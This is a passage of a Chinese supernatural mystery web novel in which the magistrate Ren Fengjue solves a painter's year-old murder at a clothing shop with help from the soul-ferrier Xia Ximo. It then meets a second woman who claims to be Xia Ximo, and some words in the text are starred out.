“是什么原因所致?”
张医师面露愧色,仍硬着头皮回道:“这姑娘脉象极乱,现下看来,只悬着一口气。”
“要说因由嘛…小人医术不精,实在不敢妄言。”
听了这话,任风玦心里已然有数,却一时有些难以接受。
他与夏熙墨相识不过几日,但此人身上未解谜底太多,若真这么稀里糊涂**,线索中断,实在令人难以心安。
沉默片刻,任风玦心里也没有答案,只能吩咐道:“无论你用什么法子,尽可能医治她,等天亮,我去一趟太医署,看看是否还有其他办法。”
张医师当然不能拒绝,略一思忖,只能勉为其难地说道:“小人只能施展‘回阳九针’,暂且替她多续上一口气,至于能撑到什么时候,就看姑娘自己的造化了。”
任风玦走出房间,一眼就看到了同样面色忧郁的余少卿。
他本靠着栏杆,眉眼耷拉,呵欠连连,在见到任大人那刻,瞬间又来了精神。
“任大人,你可算出来了,这锦绣衣庄也实在邪门得很…”
听着余琅噼里啪啦一阵述说,任风玦也跟着眉头深陷。
在他看来,这些不过是任朔想要逃避罪责的说辞罢了。
于是,挑重点问道:“查明那尸骨的身份了?”
余琅点头:“是衣庄的画师,名叫珠颜,应该在一年前就**。”
“画师?”
任风玦忽然联想到了什么,眸光一转,吩咐道:“带衣庄刘掌柜来见我。”
这刘掌柜先前已被余琅问过一次话,自以为一番说辞足以撇开关系。
得知任风玦召见后,他顿时又慌了。
五更天,明月依然笼罩着整座锦绣衣庄,清辉洒下,如同霜色。
此时,任风玦捧着一盏热茶坐在花厅内。
一边用茶盖轻轻刮着茶沫,一边不着痕迹地问道:“昨夜夏姑娘独自一人来了一趟衣庄,可是刘掌柜亲自招待?”
闻言,原本就如坐针毡的刘掌柜更加坐不住了,他悄悄抬起衣袖拭了一下额角,回道:“回小侯爷,的确是小人招待的夏姑娘,不过——”
旁边的余琅立即打断了他:“任大人问你什么便答什么,不相干的不用说。”
“是。”
任风玦放下茶盏,微微一笑,继续问:“夏姑娘来衣庄,应该是为了那位叫珠
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颜的画师吧?”
刘掌柜面色僵住,一时之间,答也不是,不答也不是。
余琅又催促:“快答。”
“…是。”
刘掌柜又答得冷汗津津:“因为…夏姑娘裁衣之时,看的是珠颜的画,所以她便随口问了几句。”
“真只是随口一问?”
任风玦加重语气,质疑道:“我明明记得,她还问了你们一句,‘画师是不是**?’,你应该记得才是。”
话说到这个份上,刘掌柜可不敢再隐瞒,索性匍匐在地:“小侯爷恕罪!”
“是小的记性太差,差点忘了,经您提醒,才知道确实是说过…”
任风玦冷哼一声,跟着站起身来,慢慢走到他跟前,继续施压:“珠颜是**的?想必你也清楚?”
“……”
刘掌柜开始抑制不住颤抖,并快速在心底做着衡量。
想到任东行已死,珠颜的尸骨也被挖了出来,背后的事情就算不说,也会慢慢被查出来。
倒不如…
“珠颜是投入后花园的池子里,淹死的。”
一旁余琅连忙抓住重点,追问:“是自己投入的,还是他人推下去的?”
刘掌柜一咬牙,干脆将发生在一年前的衣庄丑事,尽数说了出来。
珠颜本是大家闺秀出身,可惜家道中落后,被卖入锦绣衣庄,做了画娘。
她一手丹青精妙绝伦,长得也是清丽脱俗,自进衣庄第一天起,就被少东家任东行看上了。
起初,任东行还会装风雅,假借作画之名,暗自占便宜。
被珠颜识破后,他逐渐也不装了,经常趁着醉酒闯入,无尽欺辱。
毕竟是衣庄少东家,此事就算在庄内传开,也无人敢为珠颜打抱不平。
直到一天清晨,婢女在后花园的池子里发现了珠颜的尸体。
“她当时死得蹊跷,我们理应报官,但老东家突然出面,命我们压下此事…”
刘掌柜说得满脸愧疚:“主家有令,我们做下人的哪敢不从?只能悄悄处理了尸体。”
说着,他语调一转,似乎心有余悸,“没想到的是,事情没过多久,庄内就开始闹鬼了。”
第19章 闹鬼
“又是闹鬼?”
余琅蹙眉,今晚可不止第一次听见这种说法了。
刘掌柜却点头如捣蒜,语气更是无比笃定:“小人不敢说谎话欺瞒,而且…还是亲眼所见。”
任风玦倒是面无波澜,只问:“是珠颜的鬼魂?”
“是!”
刘掌柜面上不带一丝犹豫,“我当时亲眼看见那鬼影出现在少东家的房间里,嘴里还叫着要索命呐…”
余琅正觉得荒谬,任风玦却把话接了过去:“你的意思是,是任东行杀了珠颜。”
“……”
刘掌柜顿时不敢应声。
任风玦又继续分析道:“若鬼魂真能索命的话,任东行早该在一年前就被珠颜杀了,之后又发生了什么?”
刘掌柜悄悄咽了一下口水,这才斟酌着回道:“当时那厉鬼确实闹得很凶,于是老东家便请了一个道人上门捉鬼…”
余琅忍不住插话:“别不是什么江湖骗子吧?我看你们任爷应该被骗了不少钱…”
“少卿您还别不信…”
刘掌柜正色道:“那道人确实有真本事,用了一套锁魂阵,将厉鬼困在阵中,之后又用镇魂符将鬼魂封印,庄内这才慢慢恢复安宁。”
余琅听得半信半疑:“当真有那么厉害?”
刘掌柜点头。
沉默间,只见任风玦再次拿起桌上茶盏,执在手中,开始在花厅内来回踱步。
余琅与他共事多年,知道这是任大人分析案件时的习惯,待他停下脚步后,便迫不及待问道:“任大人可有头绪了?”
任风玦抬眸看了他一眼,唇角轻扬:“不算,还有一点不是很明白。”
根据刘掌柜所述,基本可以断定,杀死珠颜的凶手,就是任东行了。
但事情既已发生了一年多,为何直到昨日才被掀出来?
那么,夏熙墨的出现,肯定是关键。
而任风玦不明白的点,就在这女子身上。
论关系,夏熙墨初到京城,根本不可能与锦绣衣庄扯上关系,她又是从何知道庄内有一名枉死的画师?
而且,为一个毫不相干的人,做下这些举动,究竟又是为了什么?
想到这里,任风玦再次走到刘掌柜跟前,问道:“夏姑娘昨夜到衣庄来,问的就是珠颜那桩**,是不是?”
不等对方回话,他又接着问道:“夏姑娘应该还对任东行说了什么,又或者是做了什么?他之所以突然得疯病,将自己活活吓死,其中种种,必然也与珠颜有关,对不对?”
刘掌柜听他分析得相差无几,心里多少有些佩服。
他知道瞒不住,当即便将夏熙墨昨晚到庄后的怪异言行,都一一交代了。
听完,任风玦心里多少有些撼动。
可就在这时,一名伙计跌跌撞撞跑来花厅禀告。
“不好了,不好了!老东家他…让厉鬼给魇着了!”
听罢,任风玦与余琅对视一眼,便不约而同往任朔住所赶去。
赶到时,只见廊下一地器具碎片,几个婢女正蹲在旁边瑟瑟发抖,不敢过多靠近。
余琅听了一晚“闹鬼”事件,此时巴不得赶紧上去一探究竟,却突然被任风玦拦住。
“你在外面守着。”
“……”
余少卿不情愿地后退了一步,却悄悄问旁边的刘掌柜:“你说的那位道人呢?可否请来让我开开眼界?”
刘掌柜拭去额角冷汗:“有您和小侯爷坐镇,人早跑了。”
余琅啧了一声:“可惜。”
任风玦独自走到门前,透过那半敞的房门,朝里看了一眼。
室内没有点灯,只能借着廊灯的光亮,依稀从房中映照出一抹模糊的身影。
他伸手正要推门,里面的人反倒警惕了起来。
“是谁在外面?”
是任朔的声音,但语气语调全变,依稀还夹杂着一丝恐惧。
任风玦轻叩房门:“堂伯父,是我。”
随着房门吱呀一声而开,他正要走进去,里面的人却忽然惊叫了一声。
“你别进来!”
依然还是任朔的声音,但语调尤其尖锐,听起来颇为刺耳。
显然,此时的“任朔”已让鬼魂给附体了。
任风玦依然镇定,笔直立在门前,回道:“我可以不进去,不过,你也不许伤人,有什么冤屈,不妨直说,我会为你做主。”
这番
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话,让门外众人听在耳里,都有些不寒而栗。
余琅更是满脸震惊,一副开了眼界的样子。
他没听错的话,任大人…这是在跟鬼讲话?!
过了好一会儿,里面的“任朔”才幽幽说道:“我落得今日这般,全拜这对父子所赐…若不能杀了他们,心中怨气难消。”
任风玦反问:“杀你之人,可是任东行?”
“是。”
“他已经**。”
“不够!”
“任朔”怒道:“任朔命人以术法打散我的魂魄,还想让我永世不得超生,这笔帐,我得跟他算!”
任风玦却淡然一笑:“世间因果皆有循环,生前是,死后亦是。”
“任东行已死,你与他的生死债也算两清,若你再杀了任朔,那就是另一笔生死债了,你可承担得起?”
闻言,“任朔”沉默了。
半晌后,才听他低泣道:“可我不甘心…我要亲眼看着他们父子得到报应!”
任风玦轻叹一口气:“不必执着,我可以向你保证,今夜之后,人间必会还你一个公道,而阴间的路,则需要你自己去走了。”
他话音落下后,里面再无回音。
少顷,却传来一声闷响,接着,是任朔痛苦的低吟与叫唤。
“来人,来人啊!我的头好痛!”
任风玦直接推开房门,却恰好瞥见一团黑影消散在窗台处,他微微一顿,竟嗅出了一丝古怪。
黑煞之气如此重,可不像一般鬼魂。
难道刚刚这房中,还不止珠颜一只鬼?
他不及细想,余琅已经从外面闯了进来,并十分好奇地四下张望:“任大人,那只鬼走了吗?”
任风玦睃了他一眼,却反问:“什么鬼?不曾见过。”
说着,他径自上前点亮室内灯火,并向杵在门外的刘掌柜吩咐道:“让仆人进来收拾伺候吧,顺带请个府医看看老东家的情况。”
余琅的好奇心已经到了顶峰,无奈任风玦就是不接他的话茬。
正觉得难受时,门外又传来一声通报。
“小侯爷,张医师那边说情况有些古怪,夏姑娘突然醒了,让您过去一趟。”
第21章 天青
望着任风玦离去的背影,夏熙墨目光微顿。
随即,她垂眸望向手中莲灯,只见其中一片莲瓣微微颤动了一下,白色光晕一闪即逝。
灯魂无忧的声音忽在耳边响起:“吓**,要不是那男人能救你,你这会儿该去九幽报到了!”
“你难道就没想过魂魄散了的后果吗?”
夏熙墨一脸漠然,看样子,是一点也不在乎什么魂飞魄散。
“……”
无忧噎了噎,不禁怀疑,阴司选这么一个渡魂人,简直是为了惩罚它…
“珠颜的三魂已经归位,你该去渡化她的尸骨,送她上路了。”
听了这话,夏熙墨才应了一句:“知道。”
立在一旁的余琅闻声忍不住看向她,疑惑道:“夏姑娘在跟我说话?”
“不是。”
回了他一句后,夏熙墨转身朝任风玦相反的方向而去。
余琅其实还有很多话要问,见她走得那么快,不由得在原地愣了愣。
心说,这两人在某些时刻,倒是有着惊人的默契。
辰时左右,当区衙门便有捕快上门来,配合着余琅将案件进行收尾。
因有任风玦坐镇,通常需要十天半个月才会受审的案子,竟只用半天就出了结果。
画师珠颜冤死之案,凶手已判定为锦绣衣庄少东家任东行。
案情公布于众后,坊间哗然,一时之间,众说纷纭。
有人夸赞,锦绣衣庄少东家任东行这些年靠着仁宣侯府作威作福,没想到最终却栽在了侯府手里。
小侯爷任风玦果然铁面无私,“活阎罗”的称号更是当之无愧。
亦有人质疑,人都**一年多,且凶手都**,还将案子翻出来,也不知安的什么心呢?
好歹是同族宗亲,竟连这点情面都不讲?
黄昏,回府路上,听着马车外偶尔飘来的几句闲言碎语,任风玦倒是面不改色。
坐在一旁的余琅却恨不得跳下车去跟人理论。
“这些人还真是会挑刺啊,咱们花了一整晚精力处理的案子,到了他们嘴里,倒成了别有用心了?”
“也不想想,若有朝一日,这种事发生在他们身上,且无人为他们申冤,他们又该作何感想?”
“目光如此短浅,只知逞口舌之快!”
闻言,任风玦却笑了笑,“自古以来都是当官的体恤百姓,许多事情,他们也只能看到其中一面,难免有失偏颇,何必与他们一般计较?”
“况且,这案子功不在我,余少卿才是真辛苦了。”
得到任大人夸赞,余琅心中自然舒坦,便懒洋洋靠在车壁上,回道:“那倒不辛苦,反倒涨了不少见识呢。”
“以前我可不信什么鬼魂之说,如今觉得,还真说不定。”
这话任风玦却不想接,便故意掀开车帘,欣赏街道风景。
见他不搭话,余琅就知道没戏。
以任大人的性子,不想主动说的事,自己便是打破沙锅问到底,也不会得到答案。
当然,他也很是识趣,当即语调一转,又把话题转到了夏熙墨身上。
“还有一事,刚刚在衣庄我就想问了。”
“夏姑娘又是如何知道珠颜这件事情的?”
“人都**一年,她才初到京城,居然这般神通广大?”
说到夏熙墨,任风玦眸光微顿,心里也有一种微妙的感觉。
他坦然道:“这也是我想不通的地方,或许,那女子真有什么过人之处。”
对于任大人这句别有深意的话,余琅忍不住打趣道:“她是否有过人之处我不清楚,但像她这般有胆识的女子,这京中只怕是找不出第二位了。”
“总而言之,与你甚是般配。”
“……”
——
随着地上的尸骨化为齑粉,夏熙墨手中的渡魂灯也跟着颤动了一下。
一点荧光,绕着三十二片莲瓣游离了一圈,最终在灯芯处消散。
这也象征着,一缕枉死之魂,已步入黄泉,通往幽冥。
对此,夏熙墨那古井无波一般的眼底,总算多了一丝动容。
再次回到任宅,东院客房内却多了一名婢女,是任风玦特意从侯府调来贴身伺候的人。
“奴婢名唤天青,自
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小在侯府长大,小侯爷在府期间,一直由奴婢专掌管衣食起居。”
“小侯爷交代,今后就由奴婢来负责姑娘的饮食起居,姑娘有任何需要,都可以吩咐奴婢。”
夏熙墨朝面前的人看了一眼。
见她穿着一件淡青色小袄,梳着简洁利落的发髻,面容素净,一双眼睛却十分灵动有神。
看得出,应该是一个不错的仆人。
但是…
“我不需要人伺候。”
夏熙墨径自越过她,“任风玦应该清楚,我只是暂住几日。”
听到对方直呼小侯爷的名字,天青的眼底明显掠过一丝讶然。
但很快她又恢复了自然,落落大方地回道:“不打紧,姑娘住一日,奴婢便伺候一日。”
夏熙墨正要继续拒绝,目光却扫见屋内堆满了物品。
除了衣物首饰之外,还添了各类胭脂水粉以及女儿家的用物,可谓面面俱到。
天青解释道:“这些都是奴婢照着京中贵女日常所需来置办的物件,衣物是锦绣衣庄的,首饰头面是翠华堂的,胭脂水粉是天香阁的…”
“……”
光是听着这些物品的名字,夏熙墨就已经有些不耐烦,薄唇轻吐:“麻烦。”
“不麻烦。”
天青依然垂首立在一旁,恭恭敬敬回道:“姑娘只需说出想法,一切交由奴婢来办。”
听了这话,夏熙墨不再回应,便找了一张空椅子坐下,开始闭目养神。
见状,天青只当她是默许,当即挽起衣袖,开始默默收拾。
到底是侯府出身的人,不仅懂规矩,手脚也利索,没过一会儿功夫,就将所有物品皆妥善安置了起来。
所以,等夏熙墨再次睁开眼睛时,只见原本空荡荡的客房已经大变样,物品虽多,却并不显得杂乱拥挤,反而看着很舒服。
天青点燃了烛灯,规矩走到夏熙墨跟前:“夏姑娘,大致都已经布置好了,之后可再根据姑娘的喜好添置,如香炉、挂画、名帖、抑或是玉石摆件…”
夏熙墨却一脸事不关己:“你看着来,不必问我。”
第22章 梳妆
次日,夏熙墨从温软的床上醒过来。
只见一抹朝阳透过窗棂照**内,却令她感到有些恍惚。
她居然躺着睡着了,身上还穿着干净的寝衣,被褥以及空气中隐隐浮荡着一股陌生的香气。
灯魂无忧正坐在窗台上假装晒太阳,见她醒来,立即笑眯眯地调侃道:“你昨晚睡得很香,还得是那小姑娘的功劳。”
夏熙墨坐起身来,见床边放着一只香炉,还在冉冉升着轻烟。
回想昨晚,天青按照京中贵女的方式,伺候她沐浴更衣。
那过程极其繁琐,除了基本的洗发净肤之外,还有多样养护环节,几次令她失去耐心,却被天青巧妙化解了过去。
最终,洗去一身疲惫,她躺在床上,天青取出一种名为“红玉”的香膏,替她按摩小腿及养护双脚。
夏熙墨都忘了自己是如何睡着的,没想到再次睁开眼睛,天居然都亮了。
这种感觉有些奇妙,好似突然之间重新“做”了一回人。
身体也莫名变得轻盈。
她刚下床,门外便响起两下敲门声。
“夏姑娘若是醒了,可以唤奴婢进来伺候了。”
门开后,只见天青手里已经端着盥洗之物,与往常不同的是,还多了几样精致小巧的瓶瓶罐罐。
望着这满目琳琅,夏熙墨第一感受竟是好奇,随后又有些不耐烦。
“你们…京中的女子,平日都这么麻烦?”
天青嫣然一笑,“书上说,‘女为悦己者容’,既是女子,又哪有不爱美的?”
“何况是像夏姑娘这样天仙似的人物?”
她嘴上说着好听的话,手上的动作却丝毫不怠慢。
面抹花露,手涂香膏,每一样都做得细致熨帖。
夏熙墨一时无话,又好像是默许了她的行为。
天青又问她:“夏姑娘今日想穿什么颜色的衣服?抑或是想要什么样的妆容?”
“随便,不麻烦就行。”
听她这么说,天青也不多问,很快从箱笼里取出一套衣服。
上衣是秋香色穿金线梅花纹锦袍,下裙是靛蓝色穿银线净面罗裙。
为了“不麻烦”,只外披一件小坎肩,梳最简单发髻,画最淡雅的妆容。
一番梳妆打扮后,镜中的女子却依然美得令人惊叹。
天青自忖曾跟随侯夫人出席过不少名门宴席,自然也见过不少高门贵女。
然而,像夏姑娘这般容色与身段的,已是少见,更别提她那百里挑一超然脱俗的气质。
难怪小侯爷对她如此上心…
失神间,只听见夏熙墨问道:“好了吗?”
天青听出她语气中的不耐烦,连忙放下篦子,垂首在旁,“已经好了,今日的装扮,夏姑娘可觉得满意?”
夏熙墨闻言才瞥了一眼镜中的自己,只觉得陌生。
她从不在意自己的容貌,也已经很久很久没有照过镜子。
但此时,模糊的记忆里却闪过一帧久远的片段——
白衣少年递来一支花簪,说道:“这是我送给你的生辰礼,好看吧?”
她拿着花簪,对着水中倒影看了一眼,想说好看,却没有说出口…
再多的,已经不记得了。
夏熙墨没有回答这个问题,她漠然起身走到门边,忽然又折回来,问道:“任风玦在不在府上?”
——
任大人今日休沐。
但一大早就收到侯府来的消息,仁宣侯令他立即回去一趟。
老侯爷无事不传召,若召唤起来,那必然是一件头疼之事。
因此,任风玦都没来得及用早膳,便直接乘坐马车往侯府里赶。
他原以为,回府上,能先与侯夫人一同吃个朝食,再去听老父亲唠叨。
谁料才进门,就有一个小厮上前说道:“公子,侯爷说让您回来后直接去书房找他。”
任风玦有些意外:“这么急?我还想先去母亲那里用个早膳呢。”
小厮回道:“夫人那边有贵客到,侯爷吩咐,您得先去见了他,才能去见夫人。”
“……”
什么贵客?
任风玦蹙眉有些不悦。
但转念一想,又觉得不对。
一般客人不可能这个点登门,除非,对方夜里在侯府留了宿。<
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br>而这位“贵客”能得侯夫人招待,那必然是女客。
难道是外祖那边的人?
也不对。
若是自家人,小厮就不会称是“贵客”了。
想到这贵客的身份,任风玦隐隐有种不好的预感。
但他还是依言,先往仁宣侯的书房去。
仁宣侯任瑄此时正在书房门前逗鸟,见到儿子回来,却只用眼角余光一瞥:“回来了?”
任风玦观察了一下父亲的脸色,好似并无异样,便直接问道:“父亲突然召儿子回来,是有什么急事吗?”
任瑄冷哼一声,却道:“昨日锦绣衣庄的事,为父已经知道了,你还真是好本事。”
对于锦绣衣庄之事,任风玦料到父亲一定会问。
毕竟关乎到家族声誉,以及他仁宣侯的脸面。
“儿子身在刑部,不过是按照律法办事。”
任瑄知道他向来公私分明,故意说道:“人都已经**,你也应该看在你堂伯父的份上,留一些情面才是。”
任风玦面不改色,“儿子若是给堂伯父留情面,只怕那冤死之魂地下难安呀。”
听了这话,任瑄明显欲言又止。
“好了,事情既已了结,为父也就不多说什么了。”
“不过,此事对你堂伯父打击颇大,听说人也病倒了,你若得空多去看看他。”
任风玦随便应了一声,却将话题一转,“方才听小厮说,府上来了一位贵客,正在母亲那边,不知是什么人?”
任瑄闻言,原本紧绷的面容慢慢松开,难得溢出一丝笑意,说道:“是你那指腹为婚的未婚妻,夏将军之女,熙墨啊。”
“……”
任风玦一脸难以置信,反问:“夏熙墨?”
“是。”
任瑄对于儿子的反应倒是见怪不怪,只道:“她舅父家中发生了一些变故,昨日才到京城来。”
“你母亲打算留她先在侯府住些时日,看看明年开春后,能否将你们二人的婚事给办了。”
“……”
任风玦又是一阵沉默,随后才问:“父亲是说,她昨日才到京中?”
第23章 真假
“是,昨日才到,所以今日一大早才唤你回府的。”
任瑄见儿子面色奇怪,只当他是不情愿,语气忽然一沉:“你是觉得有何不妥?”
任风玦久久不答话,只是眉心处蹙起,也不知心中在想着什么。
老侯爷隐隐有些不高兴了。
“你前些年一直醉心于查案,为父不干涉。”
“如今已年满双十,等开年就二十有一了,难道还不打算成婚吗?”
“就算你耽搁得起,人家熙墨可耽搁不起!”
这时,任风玦总算回话了:“我先去见见人。”
“……”
任瑄深知儿子脾性,只怕他固执着不肯见人,忽然听他这样说,反而很是不习惯。
“如此再好不过…”
他其实还想说些什么,任风玦却刻不容缓往外走,显然比自己还要心急。
“你先等等!”
老侯爷心里虽惊喜交加,面上却故作严厉:“你看看你像个什么样子?好歹回房换一身衣裳,毕竟初次见面…”
“不必了。”
任风玦话只听一半,扔下一句后,便如脚下生风一般走了。
若是放到平常,任瑄少不了要骂他几句。
但此刻,老侯爷只感到无比欣慰,甚至哼着曲儿回头逗弄了一下笼中鸟,又喃喃自语:“臭小子,看来是开窍了。”
侯夫人的朝食一向布在东暖阁,任风玦赶到时,里面的人还在用膳。
守在门口的婢女远远见到他的身影,立即朝里面通报道:“小侯爷来了。”
闻声,侯夫人荣氏的笑声便从里间传了出来,又故意大声问他:“风儿可用过早膳没有?”
听见母亲的声音,任风玦刻意放缓脚步,将氅衣解下,顺手递给婢女,这才应道:“还没呢母亲,听闻府上来了贵客,儿子便先赶回来了。”
说话间,他才慢慢踏进室内,一眼便看到荣氏身侧正坐着一个身量娇小的陌生女子。
“快过来坐。”
荣氏立即冲他招手,面带笑意,介绍身侧之人:“这位是夏将军之女,熙墨。”
女子立即施施然起身,含羞垂首,朝着他微微福身:“熙墨见过小侯爷。”
“夏熙墨”穿着一件月白色云纹锦上衣,下系同色罗裙,梳着现下时兴的云髻,画着“芙蓉妆”。
她举止文雅,声音轻柔,和京中大多高门贵女一样,规矩守礼,端庄娴淑,一举一动都难以挑出什么错处。
任风玦步子微顿,面上闪过一丝不易察觉的异色,随即虚抬了一下手臂,客气道:“夏姑娘不必拘礼。”
听他声音清越,“夏熙墨”才略微抬起一点头来,目光只敢与他短暂碰触,又很快挪开。
对于这位未来“儿媳”,荣氏显然有十二分满意,她亲昵地执起“夏熙墨”的手,说道:“确实不必与他客套,都是一家子人。”
婢女早已搬了一张椅子过来,并根据侯夫人的颜色摆放在“夏姑娘”身侧。
任风玦看了一眼,却不着痕迹地自行将椅子挪到侯夫人身边,顺其自然而坐。
“我实在饿得很,先吃点东西。”
这一举动,让“夏熙墨”看在眼里,明显微微顿住。
荣氏见状,只得将她的椅子往自己身侧挪了挪,以示亲近。
任风玦接过婢女舀过来的粥,便自顾自吃了几口,见对面的“夏熙墨”坐下,这才慢悠悠开口问道:“听父亲说,穆侍郎家中最近突发了一些变故,不知是有什么难事了?”
荣氏只恨他哪壶不开提哪壶,当即轻咳一声,提示他:“你与熙墨才刚见面,就没有其他话要说?”
任风玦丝毫不接母亲的茬儿,反而笑得温和:“儿子正是因为关心‘夏姑娘’才这么问的。”
“夏熙墨”微微抬了一下眼皮,复又垂下,掩去眼底的复杂之色,斟酌着回道:“熙墨多谢小侯爷关心,我舅父家…”
她似乎难以启齿,又抿了抿薄唇:“其实,所有的事情与我表姐有关…”
“哦?”
任风玦立即挑了一下眉头,显然来了兴趣,问道:“好似并未听过穆侍郎还有一位千金。”
“夏熙墨”细长的手指悄悄蜷缩,只轻轻点了一下头。
“表姐与我同岁,仅只比我大了三个
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月,但自小患有癔症,因此很少见客…”
任风玦放下勺子望向她,似乎听得很认真,并等着她继续说下去。
“夏熙墨”没敢与他对视,却明显能感受到头顶处,有一道灼人的目光。
她隐隐意识到,眼前这位看似眉眼温润,声色悦耳的男人,其实有一种无形的威迫力。
在他的目光注视之下,她心里其实很是不安,面上却又不能显露出来。
这种情况下,只能故意挤出一行眼泪,换了一种情绪,哽咽着说道:“这么多年来,舅母和舅父一直在找名医替表姐医治癔症,可惜根本无济于事…”
“其实,表姐不犯病的时候还好,可一旦犯病,谁也管不住,她会做出什么不好的事情来…”
任风玦听到这里,依然神色淡淡,只用右手食指轻敲桌面,也不知在想什么。
“夏熙墨”只能继续硬着头皮说道:“八天前,表姐又一次犯病了,这次犯病,她竟直接冲进我的房里,要杀了我…”
说着,她直接掀起左手衣袖,露出一道不深不浅的伤口。
荣氏看得一脸心疼,连忙向一旁的婢女说道:“我库房里有一瓶御赐的断续膏,你去拿来给夏姑娘。”
婢女应声去了,任风玦却突然站起身来,问道:“夏姑娘可否让我看看伤口?”
对此,“夏熙墨”似乎有些意外,犹豫着,还是将手缓缓伸了过去。
荣氏看在眼里,还以为儿子也是在心疼“未婚妻”,谁料却听他一本正经说道:“看伤口,确实是他人用**划伤的,不过,这人下手不够果断,明显留了情面…”
“……”
“夏熙墨”面上微僵,连忙将手往回缩了缩,又急着辩解道:“身患癔症的人,发起疯了,又哪里会留情面…”
任风玦不接她的话,只问:“然后呢?你又是如何逃脱的?”
“是舅母及时带人来,才拦住了表姐,我这才知道,表姐原来十分憎恨我,她…其实一直都想杀我。”
“夏熙墨”说着,眼底浮起惊惧之意,语调微颤:“而且,她还说,她其实杀过人。”
第24章 推测
“杀过人?”
任风玦眉头轻蹙,一向不起波澜的脸上,也掠过一丝讶然之色。
“夏熙墨”垂下头,语气幽然:“是,她杀了自己同父异母的亲弟弟,也就是我舅父唯一的儿子——穆铮。”
“舅母得知真相后,几近崩溃,她自知无颜面对舅父以及穆铮的亲生母亲,只好替表姐揽下罪责,直接报了官,之后…便自缢在牢中了。”
这样的“变故”确实令人唏嘘,荣夫人听着都有些于心不忍。
任风玦却抓住了事件的关键,问道:“那你表姐呢?现又在何处?”
“夏熙墨”摇了摇头,继续说道:“舅母出事后,表姐便失踪了,离奇的是,穆家派人搜遍了整个西泠县,都不曾见过她的踪影。”
“有人说,曾在街口的馄饨铺子见过她,她当时一身泥污,像是刚从土里爬出来一样。”
“还有人说,曾见她上了一艘通往京都的商船…”
“但我知道,穆家我是待不下去了,闭上眼,总觉得表姐就在身边,我好害怕,夜夜都做噩梦…”
说到这里,她瘦弱的双肩也跟着颤抖起来:“我很害怕,害怕又像那天晚上一样,表姐拿了一把**冲进我的房间,扬言要杀了我…”
话说完,眼泪便如断了线的珠子开始往下掉落。
荣氏见了十分心疼,连忙拿出帕子替她擦拭眼泪,劝慰道:“没事了没事了,如今你到了侯府,自然不必再怕那个疯子…”
又温声问道:“昨夜里睡得如何?”
“夏熙墨”慢慢收住眼泪点点头,回道:“承蒙夫人照拂,昨晚睡得很踏实,夜里只醒了一回。”
荣氏叹了口气,却回头瞪了儿子一眼,“都怪你,好端端一定要提这些事情。”
任风玦浑不在意,反而望了一眼窗台,目光若有所思,他道:“依夏姑娘之言,这位穆侍郎千金确实是一号危险人物,一定要尽快找出来才行,不然再发病伤人,可就不好了。”
他说着,径自从婢女手中取来氅衣,“既如此,夏姑娘便安心先在侯府住着,我还有一些公务要忙,就先失陪了。”
荣夫人不悦道:“你今日不是休沐吗?还要忙什么公务?就不肯好好在府上待一天,陪陪熙墨?”
任风玦披好氅衣,倒是意味深长地看了“夏熙墨”一眼。
“夏姑娘需要静养,儿子还是不添乱了,不然一会儿再忍不住问一些不好听的,母亲只怕又要怪我。”
“……”
望着儿子大步离去,荣夫人无话可说,只能安抚“夏熙墨”说道:“这孩子,平日不是泡在衙门里忙公务,就是四处查案子。”
“等你养好了身子,我一定捉他回来,好好陪你逛逛。”
“夏熙墨”善解人意地点了点头,眼角余光扫向男子远去的身影,唇角微扬。
——
任风玦出侯府后,直接乘车去了裕盛茶楼。
这茶楼近大理寺,甚至坐在三楼茶阁内,能俯瞰大理寺后院。
他抵达后,便直接让阿夏去给余琅传话。
没过一会儿,身着官服的余少卿便径自上了茶楼。
“任大人居然得空请我饮茶,实在是稀罕事啊。”
他放下官帽,便喊来伙计要了两份自己最爱吃的糕点果子,同时又嫌任大人点的君山银针太过苦涩,转头另要了一盏白牡丹。
任风玦呷了一口茶,说道:“我刚从侯府过来。”
余琅立即来了兴趣,问:“可是为了夏姑娘之事?”
“是,也不是。”
任风玦故意卖了一个关子。
余琅只知夏熙墨想要退婚,便猜测道:“是不是夏姑娘临时改变心意,不与你退婚了?”
“依我看,这事告知给侯爷与夫人,也必然不会同意的。”
任风玦笑着摇头,“我没告诉他们,夏姑娘也并没有改变心意。”
余琅顺手拿起一块糕点咬了一口,问:“那到底又是什么?”
“是多了一个‘夏熙墨’。”
闻言,余琅差点被手里的糕点噎到,他狼狈喝了一口茶,眼睛都瞪大了。
“什么叫多了一个‘夏熙墨’?你难道还有两个未婚妻不成?”
任风玦舒展着身体往后一靠,这才慢悠悠地将
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今日在侯府的所见所闻都说了出来。
余琅听完,更是一脸震惊之色。
“这又是怎么回事?她们二人,到底谁是真,谁是假?”
任风玦不置可否,只问他:“那依余少卿来看,谁看起来更真?”
余琅没立即回话,反而先是起身将虚掩的阁门关上,仿佛生怕事情泄露了出去。
“你之前说过,你们家中只有侯夫人一人见过夏熙墨,那在侯府的那位,似乎更有信服力。”
任风玦又是一笑,“那你的意思是,我宅中的那位,是假的?”
余琅继续分析:“我只是推测,若侯府夏姑娘口中所说的‘疯表姐’是真的,那你宅中那位夏姑娘有没有可能就是那位‘疯表姐’?”
“但这样解释,未免太过牵强,好像是有人为了掩盖事实而刻意编出来的故事。”
“况且,你府上的夏姑娘也只是性情清冷一些,论胆识与魄力,倒更符合将门之后。”
听完这番话,任风玦面露赞赏之色,点头示意:“不错,继续说下去。”
“已经说完了,再具体的,下官怕是说不清,毕竟,我也只见过您府上的那位。”
余琅分析完,这才放心喝茶吃点心,又问:“不过我倒是挺好奇,任大人更偏向于哪位?”
任风玦心里明显有自己的考量,却故意不答,只道:“我也说不准,只怕这事得麻烦余少卿。”
“……”
什么意思?
余琅连忙放下手中茶点,心说,就知道任大人不会平白无故请他吃东西。
“不知任大人有何差遣?只要是在职责之内,不违背三纲五伦…”
任风玦微微一笑,“很简单,只是让你去一趟西泠县的穆家,深入调查一下‘夏熙墨’这些年的情况而已。”
“瑶光虽擅长刺探追踪,性格却不擅长与人打交道,而这恰好是你的长处,你二人合作一下,定然事半功倍。”
余琅听到“瑶光”这个名字都要头痛。
但任大人亲自发话,又哪容得说“不”?
他只能苦着脸无奈拱手:“下官遵命。”
第25章 谈判
任风玦与余琅在裕盛茶楼分开后,又去了一趟刑部。
近来为了“工部尚书畏罪**”一案,刑部上下已暗地里调查了许久,可惜都不得进展。
以至于刑部郎中关跃,一见到侍郎大人就如同耗子见了猫,后背直冒冷汗。
他本以为,今日侍郎休沐,能稍微缓口气。
没想到,还是逃不过。
“任大人…”
听到小吏通报后,关跃立即起身相迎。
任风玦微微颔首,说道:“听说案子有了一点眉目,我特意来看看。”
